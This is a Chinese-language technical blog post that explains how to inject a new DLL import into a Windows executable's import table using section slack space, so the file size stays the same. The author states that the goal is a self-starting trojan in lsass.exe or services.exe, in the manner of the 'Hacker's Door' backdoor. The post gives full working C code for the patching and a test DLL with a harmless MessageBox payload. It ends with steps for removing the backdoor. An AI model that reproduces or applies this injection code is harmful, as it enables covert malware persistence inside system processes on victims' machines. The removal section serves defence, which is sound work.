关于修改EXE文件的导入表,实际上是一个很古老的话题了(如果您是此中高手,请不要在这篇文章浪费时间了,如果您发现了其中的问题,还请多多指教).一些PE相关的软件,也都实现了这样的功能,例如Stud_PE.
Stud_PE通过添加一个新节并将导入表连同添加的内容一并复制到新节的方法来实现对DLL的导入.
使用这样的方法只要是PE格式的EXE文件,都可以实现导入DLL的功能,但此方法,实现了通用性,却增加了文件的大小.
对于存放在磁盘上PE文件,其中存在着大量的空隙,我们知道PE中的数据是按照一定的文件对齐来组织.IMAGE_OPTIONAL_HEADER结构中的FileAlignment成员保存着文件对齐的大小,这个成员是在链接的时候由链接器指定,如果使用VC来编写程序,可以使用link中的/filealign来调整文件对齐的大小.
这里,就是利用这些空隙来使EXE在启动时载入DLL(类似于一些病毒的技术),同时并不改变文件的大小.如何实现?还是要修改导入表.然而这种方法的缺点也是很明显的,并不是每个EXE都有足够的空间让我们来插入数据,按照我的测试,在Windows 2003 Enterprise sp1中,lsass.exe以及services.exe都是有足够的空间进行插入,而在Windows 2000 Advance Server sp4中,lsass.exe无法插入,services.exe可以插入.这些EXE文件的FileAlignment为0x200H.为什么选择这些exe文件?说到这里我的意图已经很明显了,黑客之门便是利用这种方法实现自启动的木马.
上面说了堆废话,现在直接贴上代码,具体实现请见程序的注释.这里假定您对PE格式有一定的了解.
//
// Copy from Matt Pietrek
// Given an RVA, look up the section header that encloses it and return a
// pointer to its IMAGE_SECTION_HEADER
//
PIMAGE_SECTION_HEADER
GetEnclosingSectionHeader(
DWORD rva,
PIMAGE_NT_HEADERS pNTHeader
)
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION32(pNTHeader);
unsigned i;
for ( i=0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )
{
// Is the RVA within this section?
if ( (rva >= section->VirtualAddress) &&
(rva < (section->VirtualAddress + section->Misc.VirtualSize)))
return section;
}
return 0;
}
int
AddImportDll(
HANDLE hFile,
DWORD dwBase,
PIMAGE_NT_HEADERS pNTHeader
)
{
//
// 通过OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
// 获得导入表的RVA, 利用此RVA找到ImportTable所在的Section,之后计算Offset,公式:
// Offset = (INT)(pSection->VirtualAddress - pSection->PointerToRawData)
// 之后利用Offset来定位文件中ImportTable的位置.
//
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = 0;
PIMAGE_SECTION_HEADER pSection = 0;
PIMAGE_THUNK_DATA pThunk, pThunkIAT = 0;
int Offset = -1;
pSection = GetEnclosingSectionHeader(
pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
pNTHeader);
if(!pSection)
{
fprintf(stderr, "No Import Table../n");
return -1;
}
Offset = (int) (pSection->VirtualAddress - pSection->PointerToRawData);
//
// 计算ImportTable在文件中的位置
//
pImportDesc =
(PIMAGE_IMPORT_DESCRIPTOR)(pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - Offset + dwBase);
//
// 取出导入的DLL的个数
//
int nImportDllCount = 0;
while(1)
{
if ((pImportDesc->TimeDateStamp==0 ) && (pImportDesc->Name==0))
break;
pThunk = (PIMAGE_THUNK_DATA)(pImportDesc->Characteristics);
pThunkIAT = (PIMAGE_THUNK_DATA)(pImportDesc->FirstThunk);
if(pThunk == 0 && pThunkIAT == 0)
return -1;
nImportDllCount++;
pImportDesc++;
}
//
// 恢复pImportDesc的值,方便下面的复制当前导入表的操作.
//
pImportDesc -= nImportDllCount;
//
// 取得ImportTable所在Section的RawData在文件中的末尾地址,计算公式:
// dwOrigEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize
//
DWORD dwEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize;
PIMAGE_IMPORT_DESCRIPTOR pImportDescVector =
(PIMAGE_IMPORT_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 20 * (nImportDllCount+1));
if(pImportDescVector == NULL)
{
fprintf(stderr, "HeapAlloc() failed. --err: %d/n", GetLastError());
return -1;
}
CopyMemory(pImportDescVector+1, pImportDesc, 20*nImportDllCount);
//
// 构造添加数据的结构,方法笨拙了点.
//
struct _Add_Data
{
char szDllName[256]; // 导入DLL的名字
int nDllNameLen; // 实际填充的名字的长度
WORD Hint; // 导入函数的Hint
char szFuncName[256]; // 导入函数的名字
int nFuncNameLen; // 导入函数名字的实际长度
int nTotal; // 填充的总长度
} Add_Data;
const char szDll[256] = "test.dll";
const char szFunc[256] = "Startup";
strcpy(Add_Data.szDllName, szDll);
strcpy(Add_Data.szFuncName, szFunc);
//
// +1表示'/0'字符
//
Add_Data.nDllNameLen = strlen(Add_Data.szDllName) + 1;
Add_Data.nFuncNameLen = strlen(Add_Data.szFuncName) + 1;
Add_Data.Hint = 0;
//
// 计算总的填充字节数
//
Add_Data.nTotal = Add_Data.nDllNameLen + sizeof(WORD) + Add_Data.nFuncNameLen;
//
// 检查ImportTable所在的Section中的剩余空间是否能够容纳新的ImportTable.
// 未对齐前RawData所占用的空间存放在pSection->VirtualSize中,用此值加上新的ImportTable长度与
// 原长度进行比较.
//
// nTotalLen 为新添加内容的总长度
// Add_Data.nTotal 为添加的DLL名称,Hint与导入函数的名字的总长度.
// 8 为IMAGE_IMPORT_BY_NAME结构以及保留空的长度.
// 20*(nImportDllCount+1) 为新的ImportTable的长度.
//
int nTotalLen = Add_Data.nTotal + 8 + 20*(nImportDllCount+1);
printf("TotalLen: %d byte(s)/n", nTotalLen);
if(pSection->Misc.VirtualSize + nTotalLen > pSection->SizeOfRawData)
{
fprintf(stderr, "No enough space!/n");
return -1;
}
IMAGE_IMPORT_DESCRIPTOR Add_ImportDesc;
//
// ThunkData结构的地址
//
Add_ImportDesc.Characteristics = dwEndOfRawDataAddr + Add_Data.nTotal + Offset;
Add_ImportDesc.TimeDateStamp = -1;
Add_ImportDesc.ForwarderChain = -1;
//
// DLL名字的RVA
//
Add_ImportDesc.Name = dwEndOfRawDataAddr + Offset;
Add_ImportDesc.FirstThunk = Add_ImportDesc.Characteristics;
CopyMemory(pImportDescVector, &Add_ImportDesc, 20);
//
// 对文件进行修改
//
DWORD dwBytesWritten = 0;
DWORD dwBuffer = dwEndOfRawDataAddr + Offset + Add_Data.nTotal + 8;
long lDistanceToMove = (long)&(pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) - dwBase;
int nRet =0;
//
// 修改IMAGE_DIRECTOR_ENTRY_IMPORT中VirtualAddress的地址,
// 使其指向新的导入表的位置
//
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
printf("OrigEntryImport: %x/n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(ENTRY_IMPORT) failed. --err: %d/n", GetLastError());
return -1;
}
printf("NewEntryImport: %x/n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
//
// 修改导入表长度,这个部分具体要修改为多少我也没弄明白,不过按照测试,改与不改都可以工作
//
dwBuffer = pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].Size + 40;
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(Entry_import.size) failed. --err: %d/n", GetLastError());
return -1;
}
//
// 修改ImportTable所在节的长度
//
lDistanceToMove = (long)&(pSection->Misc.VirtualSize) - dwBase;
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
dwBuffer = pSection->Misc.VirtualSize + nTotalLen;
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(Misc.VirtualSize) failed. --err: %d/n", GetLastError());
return -1;
}
//
// 从节的末尾添加新的DLL内容
// 偷点懒,返回值就不检查了..
//
lDistanceToMove = dwEndOfRawDataAddr;
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
nRet = WriteFile(hFile, Add_Data.szDllName, Add_Data.nDllNameLen, &dwBytesWritten, NULL);
nRet = WriteFile(hFile, (LPVOID)&(Add_Data.Hint), sizeof(WORD), &dwBytesWritten, NULL);
nRet = WriteFile(hFile, Add_Data.szFuncName, Add_Data.nFuncNameLen, &dwBytesWritten, NULL);
dwBuffer = dwEndOfRawDataAddr + Add_Data.nDllNameLen + Offset;
nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
dwBuffer = 0;
nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
nRet = WriteFile(hFile, (LPVOID)pImportDescVector, 20*(nImportDllCount+1), &dwBytesWritten, NULL);
HeapFree(GetProcessHeap(), 0, pImportDescVector);
return 0;
}
下面是测试用的DLL代码.
#include <windows.h>
#pragma comment(lib, "user32")
#define __DLL_EXPORT extern "C" __declspec(dllexport)
__DLL_EXPORT void Startup();
BOOL
WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "Hook Ok!", "info", MB_OK);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
__DLL_EXPORT void
Startup()
{
MessageBox(NULL, "Startup()", "info", MB_OK);
}
这段代码还有些问题,一些EXE文件并不能保证在修改后正确的运行,如何解决?如果您对此感兴趣,请动手来寻找答案吧.
说点题外话,如果您的系统不幸中了黑客之门,并且您的手头没有windows安装光盘或者DLLCACHE中也没有备份的话.首先要找到被修改的exe文件,之后建立一个备份用Stud_PE打开这个备份,在"头部"标签中"更多"下拉菜单中选IMAGE_DIR_ENTRY_DEBUG,这时,下拉菜单下面的两个对话框中会有两个值,这两个值就是黑可之门修改之前原始的导入表的位置.用这两个值替换"导入表"后面的内容,之后选"保存到文件",退出Stud_PE用inuse替换,重启之后删除后门dll便可以了.
使用工具:
hkdoordll.dll(1.1版本)
Stud_PE 2.0.0.1
dumpbin.exe
参考资料:
《Windows 95 System programming SECRETS (中译本)》
By CDrea
http://www.safechina.net
[email protected]